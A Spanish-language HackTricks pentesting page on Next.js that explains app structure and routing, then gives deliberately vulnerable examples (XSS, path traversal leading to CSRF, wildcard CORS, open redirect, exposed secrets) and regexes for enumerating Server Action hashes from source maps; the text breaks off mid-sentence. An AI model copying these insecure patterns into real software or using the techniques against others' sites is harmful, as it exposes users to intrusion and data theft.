NextJS
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Arquitectura general de una aplicación Next.js
Estructura de archivos típica
Un proyecto estándar de Next.js sigue una estructura de archivos y directorios específica que facilita sus características como enrutamiento, endpoints de API y la gestión de recursos estáticos. Aquí tienes un esquema típico:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Directorios y archivos principales
- public/: Aloja activos estáticos como imágenes, fuentes y otros archivos. Los archivos aquí son accesibles en la ruta raíz (
/). - app/: Directorio central para las páginas, layouts, componentes y rutas API de tu aplicación. Adopta el paradigma App Router, permitiendo funciones de enrutamiento avanzadas y la segregación de componentes servidor-cliente.
- app/layout.tsx: Define el layout raíz de tu aplicación, envolviendo todas las páginas y proporcionando elementos de UI consistentes como encabezados, pies de página y barras de navegación.
- app/page.tsx: Sirve como punto de entrada para la ruta raíz
/, renderiza la página de inicio. - app/[route]/page.tsx: Maneja rutas estáticas y dinámicas. Cada carpeta dentro de
app/representa un segmento de ruta, ypage.tsxdentro de esas carpetas corresponde al componente de la ruta. - app/api/: Contiene rutas API, permitiéndote crear funciones serverless que manejan solicitudes HTTP. Estas rutas reemplazan el tradicional directorio
pages/api. - app/components/: Alberga componentes React reutilizables que pueden usarse en distintas páginas y layouts.
- app/styles/: Contiene archivos CSS globales y CSS Modules para estilos con alcance por componente.
- app/utils/: Incluye funciones utilitarias, módulos auxiliares y otra lógica no UI que puede compartirse en la aplicación.
- .env.local: Almacena variables de entorno específicas del entorno de desarrollo local. Estas variables no se incluyen en el control de versiones.
- next.config.js: Personaliza el comportamiento de Next.js, incluyendo configuraciones de webpack, variables de entorno y ajustes de seguridad.
- tsconfig.json: Configura ajustes de TypeScript para el proyecto, habilitando comprobación de tipos y otras características de TypeScript.
- package.json: Gestiona dependencias del proyecto, scripts y metadatos.
- README.md: Proporciona documentación e información sobre el proyecto, incluyendo instrucciones de configuración, guías de uso y otros detalles relevantes.
- yarn.lock / package-lock.json: Bloquean las dependencias del proyecto a versiones específicas, asegurando instalaciones consistentes en diferentes entornos.
Lado del cliente en Next.js
Enrutamiento basado en archivos en el directorio app
El directorio app es la piedra angular del enrutamiento en las versiones más recientes de Next.js. Aprovecha el sistema de archivos para definir rutas, haciendo la gestión de rutas intuitiva y escalable.
Gestión de la ruta raíz /
Estructura de archivos:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Archivos clave:
app/page.tsx: Maneja las solicitudes a la ruta raíz/.app/layout.tsx: Define la estructura de la aplicación, envolviendo todas las páginas.
Implementación:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Explicación:
- Definición de ruta: El archivo
page.tsxdirectamente bajo el directorioappcorresponde a la ruta/. - Renderizado: Este componente renderiza el contenido de la página principal.
- Integración del layout: El componente
HomePageestá envuelto porlayout.tsx, que puede incluir headers, footers y otros elementos comunes.
Manejo de otras rutas estáticas
Ejemplo: ruta /about
Estructura de archivos:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementación:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Explicación:
- Definición de ruta: El archivo
page.tsxdentro de la carpetaaboutcorresponde a la ruta/about. - Renderizado: Este componente renderiza el contenido de la página about.
Rutas dinámicas
Las rutas dinámicas permiten manejar rutas con segmentos variables, habilitando que las aplicaciones muestren contenido basado en parámetros como IDs, slugs, etc.
Ejemplo: ruta /posts/[id]
Estructura de archivos:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementación:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Explicación:
- Segmento dinámico:
[id]denota un segmento dinámico en la ruta, capturando el parámetroidde la URL. - Acceso a parámetros: El objeto
paramscontiene los parámetros dinámicos, accesibles dentro del componente. - Coincidencia de rutas: Cualquier ruta que coincida con
/posts/*, como/posts/1,/posts/abc, etc., será manejada por este componente.
Rutas anidadas
Next.js admite rutas anidadas, permitiendo estructuras de rutas jerárquicas que reflejan la estructura de directorios.
Ejemplo: ruta /dashboard/settings/profile
Estructura de archivos:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementación:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Explicación:
- Anidamiento Profundo: El archivo
page.tsxdentro dedashboard/settings/profile/corresponde a la ruta/dashboard/settings/profile. - Reflejo de la Jerarquía: La estructura de directorios refleja la ruta URL, mejorando la mantenibilidad y la claridad.
Rutas comodín
Las rutas comodín manejan múltiples segmentos anidados o rutas desconocidas, proporcionando flexibilidad en el manejo de rutas.
Ejemplo: ruta /*
Estructura de archivos:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementación:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Explicación:
- Segmento Catch-All:
[...slug]captura todos los segmentos de ruta restantes como un array. - Uso: Útil para manejar escenarios de routing dinámico como rutas generadas por usuarios, categorías anidadas, etc.
- Coincidencia de Rutas: Rutas como
/anything/here,/foo/bar/baz, etc., son manejadas por este componente.
Vulnerabilidades Potenciales del Lado del Cliente
Aunque Next.js proporciona una base segura, prácticas de codificación inapropiadas pueden introducir vulnerabilidades. Las principales vulnerabilidades del lado del cliente incluyen:
Cross-Site Scripting (XSS)
XSS attacks occur when malicious scripts are injected into trusted websites. Attackers can execute scripts in users’ browsers, stealing data or performing actions on behalf of the user.
Ejemplo de Código Vulnerable:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Por qué es vulnerable: Usar dangerouslySetInnerHTML con entradas no confiables permite a los atacantes inyectar scripts maliciosos.
Client-Side Template Injection
Ocurre cuando las entradas de usuario se manejan de forma incorrecta en las plantillas, lo que permite a los atacantes inyectar y ejecutar plantillas o expresiones.
Ejemplo de código vulnerable:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Por qué es vulnerable: Si template o data incluye contenido malicioso, puede conducir a la ejecución de código no intencionado.
Client Path Traversal
Es una vulnerabilidad que permite a los atacantes manipular rutas del lado del cliente para realizar acciones no intencionadas, como Cross-Site Request Forgery (CSRF). A diferencia del server-side path traversal, que apunta al sistema de archivos del servidor, CSPT se centra en explotar mecanismos del lado del cliente para redirigir solicitudes API legítimas a endpoints maliciosos.
Ejemplo de código vulnerable:
Una aplicación Next.js permite a los usuarios subir y descargar archivos. La función de descarga está implementada en el lado del cliente, donde los usuarios pueden especificar la ruta del archivo a descargar.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Escenario de ataque
- Attacker’s Objective: Realizar un ataque CSRF para eliminar un archivo crítico (por ejemplo,
admin/config.json) manipulando elfilePath. - Exploiting CSPT:
- Malicious Input: El atacante crea una URL con un
filePathmanipulado, como../deleteFile/config.json. - Resulting API Call: El código del lado del cliente realiza una petición a
/api/files/../deleteFile/config.json. - Server’s Handling: Si el servidor no valida el
filePath, procesa la petición, potencialmente eliminando o exponiendo archivos sensibles.
- Executing CSRF:
- Crafted Link: El atacante envía a la víctima un enlace o inserta un script malicioso que dispara la solicitud de descarga con el
filePathmanipulado. - Outcome: La víctima ejecuta la acción sin saberlo, conduciendo a acceso o eliminación no autorizada de archivos.
Why It’s Vulnerable
- Lack of Input Validation: El lado del cliente permite entradas arbitrarias en
filePath, habilitando path traversal. - Trusting Client Inputs: La API del lado del servidor confía y procesa el
filePathsin sanitización. - Potential API Actions: Si el endpoint API realiza acciones que cambian el estado (por ejemplo, delete, modify files), puede ser explotado vía CSPT.
Server-Side in Next.js
Server-Side Rendering (SSR)
Las páginas se renderizan en el servidor en cada petición, asegurando que el usuario reciba HTML completamente renderizado. En este caso deberías crear tu propio servidor personalizado para procesar las solicitudes.
Use Cases:
- Contenido dinámico que cambia con frecuencia.
- Optimización SEO, ya que los motores de búsqueda pueden rastrear la página completamente renderizada.
Implementation:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Generación de Sitios Estáticos (SSG)
Las páginas se pre-renderizan en tiempo de build, lo que resulta en tiempos de carga más rápidos y menor carga en el servidor.
Use Cases:
- Contenido que no cambia con frecuencia.
- Blogs, documentación, páginas de marketing.
Implementación:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Funciones sin servidor (Rutas API)
Next.js permite la creación de endpoints de API como funciones sin servidor. Estas funciones se ejecutan bajo demanda sin necesidad de un servidor dedicado.
Casos de uso:
- Manejo de envíos de formularios.
- Interacción con bases de datos.
- Procesamiento de datos o integración con APIs de terceros.
Implementación:
Con la introducción del directorio app en Next.js 13, el enrutamiento y el manejo de API se han vuelto más flexibles y potentes. Este enfoque moderno se alinea estrechamente con el sistema de enrutamiento basado en archivos pero introduce capacidades mejoradas, incluyendo soporte para componentes de servidor y de cliente.
Manejador de ruta básico
Estructura de archivos:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Implementación:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Explicación:
- Ubicación: Las rutas de API se colocan en el directorio
app/api/. - Nomenclatura de archivos: Cada endpoint de API reside en su propia carpeta que contiene un archivo
route.jsoroute.ts. - Funciones exportadas: En lugar de una exportación por defecto, se exportan funciones específicas por método HTTP (p. ej.,
GET,POST). - Manejo de respuestas: Usa el constructor
Responsepara devolver respuestas, lo que permite un mayor control sobre las cabeceras y los códigos de estado.
Cómo manejar otras rutas y métodos:
Manejo de métodos HTTP específicos
Next.js 13+ permite definir handlers para métodos HTTP específicos dentro del mismo archivo route.js o route.ts, favoreciendo un código más claro y organizado.
Ejemplo:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Explicación:
- Múltiples exports: Cada método HTTP (
GET,PUT,DELETE) tiene su propia función exportada. - Parámetros: El segundo argumento proporciona acceso a los parámetros de ruta a través de
params. - Respuestas mejoradas: Mayor control sobre los objetos response, permitiendo la gestión precisa de headers y códigos de estado.
Catch-All y rutas anidadas
Next.js 13+ admite características avanzadas de enrutamiento como catch-all routes y nested API routes, permitiendo estructuras de API más dinámicas y escalables.
Ejemplo de Catch-All Route:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Explicación:
- Sintaxis:
[...]denota un segmento catch-all, capturando todas las rutas anidadas. - Uso: Útil para APIs que necesitan manejar diferentes profundidades de rutas o segmentos dinámicos.
Ejemplo de rutas anidadas:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Explicación:
- Anidamiento Profundo: Permite estructuras de API jerárquicas, que reflejan las relaciones entre recursos.
- Acceso a Parámetros: Accede fácilmente a múltiples parámetros de ruta a través del objeto
params.
Manejo de rutas API en Next.js 12 y anteriores
Rutas API en el directorio pages (Next.js 12 y anteriores)
Antes de que Next.js 13 introdujera el directorio app y capacidades de enrutamiento mejoradas, las rutas API se definían principalmente dentro del directorio pages. Este enfoque sigue siendo ampliamente usado y es compatible en Next.js 12 y versiones anteriores.
Ruta API básica
Estructura de archivos:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Implementación:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Explicación:
- Ubicación: Las rutas API residen bajo el directorio
pages/api/. - Exportación: Usa
export defaultpara definir la función handler. - Firma de la función: La función handler recibe los objetos
req(petición HTTP) yres(respuesta HTTP). - Enrutamiento: El nombre del archivo (
hello.js) corresponde al endpoint/api/hello.
Rutas API dinámicas
Estructura de archivos:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Implementación:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Explicación:
- Segmentos dinámicos: Los corchetes (
[id].js) indican segmentos de ruta dinámicos. - Acceso a parámetros: Usa
req.query.idpara acceder al parámetro dinámico. - Manejo de métodos: Utiliza lógica condicional para manejar diferentes métodos HTTP (
GET,PUT,DELETE, etc.).
Manejo de diferentes métodos HTTP
Aunque el ejemplo básico de ruta API maneja todos los métodos HTTP en una sola función, puedes estructurar tu código para manejar cada método de forma explícita para mayor claridad y facilidad de mantenimiento.
Ejemplo:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Mejores prácticas:
- Separación de responsabilidades: Separe claramente la lógica para los diferentes métodos HTTP.
- Consistencia de respuestas: Asegure estructuras de respuesta consistentes para facilitar el manejo del lado del cliente.
- Manejo de errores: Maneje de forma adecuada los métodos no soportados y los errores inesperados.
Configuración de CORS
Controle qué orígenes pueden acceder a sus rutas de API, mitigando vulnerabilidades de Compartición de Recursos entre Orígenes (CORS).
Ejemplo de mala configuración:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Ten en cuenta que CORS también se puede configurar en todas las rutas de la API dentro del archivo middleware.ts:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Problema:
Access-Control-Allow-Origin: '*': Permite que cualquier sitio web acceda a la API, lo que podría permitir que sitios maliciosos interactúen con tu API sin restricciones.- Permiso amplio de métodos: Permitir todos los métodos puede permitir que atacantes realicen acciones no deseadas.
Cómo lo explotan los atacantes:
Los atacantes pueden crear sitios web maliciosos que hagan solicitudes a tu API, potencialmente abusando de funcionalidades como la obtención de datos, la manipulación de datos o la ejecución de acciones no deseadas en nombre de usuarios autenticados.
CORS - Misconfigurations & Bypass
Exposición de código del servidor en el lado del cliente
Puede ser fácil usar código que se usa en el servidor también en el código expuesto y usado por el lado del cliente; la mejor manera de asegurarse de que un archivo de código nunca se exponga en el lado del cliente es usando este import al inicio del archivo:
import "server-only"
Archivos clave y sus funciones
middleware.ts / middleware.js
Ubicación: Raíz del proyecto o dentro de src/.
Propósito: Ejecuta código en la función server-side serverless antes de que se procese una solicitud, permitiendo tareas como autenticación, redirecciones o modificar respuestas.
Flujo de ejecución:
- Solicitud entrante: El middleware intercepta la solicitud.
- Procesamiento: Realiza operaciones basadas en la solicitud (p. ej., verificar autenticación).
- Modificación de la respuesta: Puede alterar la respuesta o pasar el control al siguiente manejador.
Ejemplos de uso:
- Redirigir a usuarios no autenticados.
- Agregar encabezados personalizados.
- Registrar solicitudes.
Ejemplo de configuración:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
next.config.js
Ubicación: Raíz del proyecto.
Propósito: Configura el comportamiento de Next.js, habilitando o deshabilitando características, personalizando las configuraciones de webpack, estableciendo variables de entorno y configurando varias funciones de seguridad.
Configuraciones clave de seguridad:
Encabezados de seguridad
Los encabezados de seguridad mejoran la seguridad de tu aplicación al indicar a los navegadores cómo manejar el contenido. Ayudan a mitigar varios ataques como Cross-Site Scripting (XSS), Clickjacking y MIME type sniffing:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Ejemplos:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Configuración de optimización de imágenes
Next.js optimiza imágenes para rendimiento, pero las malas configuraciones pueden generar vulnerabilidades de seguridad, como permitir que fuentes no confiables inyecten contenido malicioso.
Ejemplo de configuración incorrecta:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Problema:
'*': Permite que se carguen imágenes desde cualquier fuente externa, incluidos dominios no confiables o maliciosos. Los atacantes pueden alojar imágenes que contengan payloads maliciosos o contenido que engañe a los usuarios.- Otro problema podría ser permitir un dominio donde cualquiera puede subir una imagen (como
raw.githubusercontent.com)
Cómo lo abusan los atacantes:
Al inyectar imágenes desde fuentes maliciosas, los atacantes pueden llevar a cabo ataques de phishing, mostrar información engañosa o explotar vulnerabilidades en las bibliotecas de renderizado de imágenes.
Exposición de Variables de Entorno
Gestiona la información sensible como API keys y database credentials de forma segura sin exponerla al cliente.
a. Exposición de variables sensibles
Ejemplo de mala configuración:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}
Problema:
SECRET_API_KEY: Sin el prefijoNEXT_PUBLIC_, Next.js no expone las variables al cliente. Sin embargo, si se le añade por error el prefijo (p. ej.,NEXT_PUBLIC_SECRET_API_KEY), se vuelve accesible desde el lado del cliente.
Cómo lo abusan los atacantes:
Si variables sensibles se exponen al cliente, los atacantes pueden recuperarlas inspeccionando el código del cliente o las solicitudes de red, obteniendo acceso no autorizado a APIs, bases de datos u otros servicios.
Redirects
Gestiona las redirecciones y reescrituras de URL dentro de tu aplicación, asegurando que los usuarios sean dirigidos correctamente sin introducir open redirect vulnerabilities.
a. Open Redirect Vulnerability
Ejemplo de mala configuración:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Problema:
- Destino dinámico: Permite a los usuarios especificar cualquier URL, habilitando open redirect attacks.
- Confiar en la entrada del usuario: Redireccionar a URLs proporcionadas por usuarios sin validación puede conducir a phishing, malware distribution o credential theft.
Cómo lo abusan los atacantes:
Los atacantes pueden crear URLs que parecen originarse en tu dominio pero redirigen a los usuarios a sitios maliciosos. Por ejemplo:
https://yourdomain.com/redirect?url=https://malicious-site.com
Los usuarios que confían en el dominio original podrían navegar sin saberlo a sitios web dañinos.
Webpack Configuration
Personaliza las configuraciones de Webpack para tu aplicación Next.js, lo cual puede introducir inadvertidamente vulnerabilidades de seguridad si no se maneja con precaución.
a. Exposición de módulos sensibles
Ejemplo de configuración incorrecta:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Problema:
- Exposición de rutas sensibles: Aliasing directorios sensibles y permitir acceso desde el cliente puede leak información confidencial.
- Incluir secretos en el bundle: Si archivos sensibles son incluidos en el bundle para el cliente, su contenido se vuelve accesible a través de source maps o inspeccionando el código del lado del cliente.
Cómo los atacantes lo abusan:
Los atacantes pueden acceder o reconstruir la estructura de directorios de la aplicación, potencialmente encontrando y explotando archivos o datos sensibles.
pages/_app.js and pages/_document.js
pages/_app.js
Propósito: Sobrescribe el componente App predeterminado, permitiendo estado global, estilos y componentes de layout.
Casos de uso:
- Inyectar CSS global.
- Agregar wrappers de layout.
- Integrar librerías de gestión de estado.
Ejemplo:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Propósito: Sobrescribe el Document predeterminado, permitiendo la personalización de las etiquetas y
.Casos de uso:
- Modificar las etiquetas
<html>o<body>. - Añadir meta tags o scripts personalizados.
- Integrar fuentes de terceros.
Ejemplo:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Servidor personalizado (Opcional)
Propósito: Aunque Next.js incluye un servidor integrado, puedes crear un servidor personalizado para casos de uso avanzados como enrutamiento personalizado o integración con servicios backend existentes.
Nota: Usar un servidor personalizado puede limitar las opciones de despliegue, especialmente en plataformas como Vercel que optimizan para el servidor integrado de Next.js.
Ejemplo:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Consideraciones adicionales de arquitectura y seguridad
Variables de entorno y configuración
Propósito: Gestionar información sensible y ajustes de configuración fuera del código fuente.
Mejores prácticas:
- Usar archivos
.env: Almacena variables como claves de API en.env.local(excluido del control de versiones). - Acceder a las variables de forma segura: Usa
process.env.VARIABLE_NAMEpara acceder a las variables de entorno. - Nunca expongas secretos en el cliente: Asegúrate de que las variables sensibles se usen únicamente del lado del servidor.
Ejemplo:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Nota: Para restringir variables solo al lado del servidor, omítelas del objeto env o prefíjalas con NEXT_PUBLIC_ para exponerlas al cliente.
Autenticación y Autorización
Enfoque:
- Autenticación basada en sesiones: Usa cookies para gestionar sesiones de usuario.
- Autenticación basada en tokens: Implementa JWTs para autenticación sin estado.
- Proveedores de terceros: Integra con proveedores OAuth (p. ej., Google, GitHub) usando librerías como
next-auth.
Prácticas de seguridad:
- Cookies seguras: Establece los atributos
HttpOnly,SecureySameSite. - Hashing de contraseñas: Siempre hashea las contraseñas antes de almacenarlas.
- Validación de entradas: Prevén ataques de inyección validando y sanitizando las entradas.
Ejemplo:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Optimización del rendimiento
Estrategias:
- Optimización de imágenes: Usa el componente
next/imagede Next.js para optimización automática de imágenes. - División de código: Aprovecha los imports dinámicos para dividir el código y reducir los tiempos de carga inicial.
- Caché: Implementa estrategias de caché para respuestas de API y recursos estáticos.
- Carga perezosa (Lazy Loading): Carga componentes o recursos solo cuando sean necesarios.
Ejemplo:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeration (hash to function name via source maps)
Next.js moderno usa “Server Actions” que se ejecutan en el servidor pero se invocan desde el cliente. En producción estas invocaciones son opacas: todos los POSTs van a un endpoint común y se distinguen por un hash específico de build enviado en el encabezado Next-Action. Ejemplo:
POST /
Next-Action: a9f8e2b4c7d1...
Cuando productionBrowserSourceMaps está habilitado, los chunks de JS minificados contienen llamadas a createServerReference(...) que leak suficiente estructura (más los source maps asociados) para recuperar un mapeo entre el hash de la acción y el nombre de la función original. Esto te permite traducir hashes observados en Next-Action a objetivos concretos como deleteUserAccount() o exportFinancialData().
Extraction approach (regex on minified JS + optional source maps)
Busca en los chunks de JS descargados createServerReference y extrae el hash y el símbolo de función/origen. Dos patrones útiles:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Grupo 1: server action hash (40+ hex chars)
- Grupo 2: símbolo o path que puede resolverse al nombre original de la función mediante el source map cuando esté presente
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
Flujo de trabajo práctico
- Descubrimiento pasivo mientras navegas: captura requests con cabeceras
